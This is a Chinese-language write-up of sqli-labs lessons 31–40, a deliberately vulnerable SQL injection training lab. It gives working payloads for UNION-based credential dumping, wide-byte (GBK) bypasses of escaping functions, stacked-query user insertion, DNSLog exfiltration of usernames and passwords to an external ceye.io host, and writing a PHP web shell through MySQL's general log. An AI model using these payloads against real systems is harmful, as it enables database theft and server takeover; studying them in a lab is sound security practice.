sqlilab-Less-31-40-writeup
Less-31 基于WAF的防护(双引号)
跟Less-30一样,只是由原来注入的双引号后面再加了个小括号
爆版本
?id=998") union select 1,2,version()--+
爆库
?id=998") union select 1,2,database()--+
考虑参数污染的话就下面这么玩
?id=-1&id=998") union select 1,2,database()--+
Less-32 绕过addslashes() GET请求
此关卡涉及到宽字节绕过单引号转义的知识点,简单点讲,bmfx' 经过了addslashes变成了bmfx\'
%5c --> \
%27 --> '
%df --> ß
%df%5c --> ß\
在线转换地址:https://www.sojson.com/utf8.html
那么在注入的时候通过注入构造,最终服务端会看到类似 %df%5c%27 的编码形式,然后MySQL数据库使用的是GBK编码,这样就改变了原本的意愿,把%df%5c当成了一个汉字了,从而达到了我们注入绕过的目的
本质原因:urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
users 使用十六进制编码得到7573657273,这个由字符转换为16进制可以在https://www.bejson.com/convert/ox2str/ 进行查看,也可以直接通过burpsuite的解码功能转换,然后选中hex即可
?id=-1%E2' union select 1,version(),database() --+
?id=-1%E2' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
参考:https://zgao.top/mysql%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90/
Less-33 绕过addslashes() GET请求
跟Less-32一样的,payload都是一样的,做了围观的小改动,具体看下
https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-39
Less-34 绕过addslashes() POST请求
此关卡还是宽字节注入,只是请求方式由原来的GET请求变成了POST请求
通过使用burpsuite重复进行手工注入
POST /Less-34/ HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://106.54.35.126/Less-34/
Cookie: PHPSESSID=a914e467b5219eaf95dbb5db529e56ca
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
uname=admin%df' union select 1,version()--+ &passwd=bmfx&submit=Submit
SQL注入天书上有说可以将utf-8转换成utf-16或者utf-32也是可以注入的,可以通过kali环境下自带的命令进行转换iconv 这里执行需要在console的shell窗口执行,不能够通过远程ssh连接的shell执行,至少我在Windows 10 环境下使用自带的命令行窗口ssh连接上kali执行时显示不正常的,这可能跟连接的命令窗口编码有干系
echo \'|iconv -f utf-8 -t utf-32
echo \'|iconv -f utf-8 -t utf-16
使用burpsuite测试上述转换的? 有问题,使用%df或者其他utf-8的汉字编码转换没问题例如:%E2
uname=admin%df' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)--+ &passwd=bmfx&submit=Submit
Less-35 不需要关注addslashes()
此关卡源代码中使用了函数addslashes进行过滤,但实际上根本不需要理会此函数,直接整数注入,不需要加单引号双引号之类
?id=-1 union select 1,version(),database() --+
?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
sqlmap注入
sqlmap -u http://106.54.35.126/Less-35/?id=1 --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs --batch
Less-36 绕过MySQL Real Escape字符串检查 - GET请求
此关卡跟Less-35关类似,只是在上一关基础上加了宽字节绕过的方式和单引号,看如下payload
?id=-1%df' union select 1,version(),database()--+
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
Less-37 绕过MySQL Real Escape字符串检查 - POST请求
此关卡跟Less-34一样的操作,只是改成了POST请求
POST /Less-37/ HTTP/1.1
Host: 106.54.35.126
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://106.54.35.126/Less-37/
Cookie: PHPSESSID=a914e467b5219eaf95dbb5db529e56ca
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
uname=admin%df' union select 1,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+ &passwd=bmfx&submit=Submit
爆库
uname=admin%df' union select 1,database()--+ &passwd=bmfx&submit=Submit
Less-38 堆叠查询注入- 单引号
从38关卡之后都是堆叠注入,堆叠注入简单点说就是执行了一个SQL语句之后,后面加个分号;然后不需要任何条件仍然可以执行后面的写的一条SQL语句,不过有一定的局限性,一般要根据实际环境而定,实际测试的过程中服务端返回的查询结果只有一个查询结果,所以堆叠注入查询的语句有可能被忽略或者产生错误等情况
堆叠注入是能够执行任意SQL语句,所以就很少爆库,爆表等操作,一般能够直接一步到位是最好,直接写shell
插入一个用户名和密码
?id=1';insert into users(username,password) values ('bmfx','shit');
利用姿势
DNSLog数据外带
条件:
1. MySQL开启load_file() ,DNSLog平台http://hyuga.co/ 和 http://ceye.io/
2. load_file 函数在Windows环境下无法做DNSLog攻击
3. 参考:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-39
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.xxx.ceye.io\\abc'))--+
开启general日志功能Getshell
条件:知道绝对路径,MySQL可读可写Web目录,Windows环境成功率高于Linux环境
?id=1';set global general_log = "ON";set global general_log_file='/var/www/html/Less-38/shell.php';--+
?id=1';select <?php phpinfo();?>
这里在docker环境下的搭建的Linux环境sqlilab,能够成功写入shell,但是由于权限问题,访问shell.php显示Access denied. 居然Windows环境下使用phpstudy搭建的是可以利用成功
Less-39 堆叠查询注入 整数
此关卡跟Less-38一样的payload,只是38需要使用单引号闭合,此关直接注入,不需要单引号
?id=1;insert into users(username,password) values ('bmfx2','shit');
Less-40 堆叠查询注入 单引号+括号
此关卡跟Less-38一样的payload,只是需要在单引号的基础上加个小括号闭合
?id=1');insert into users(username,password) values ('bmfx4','shit');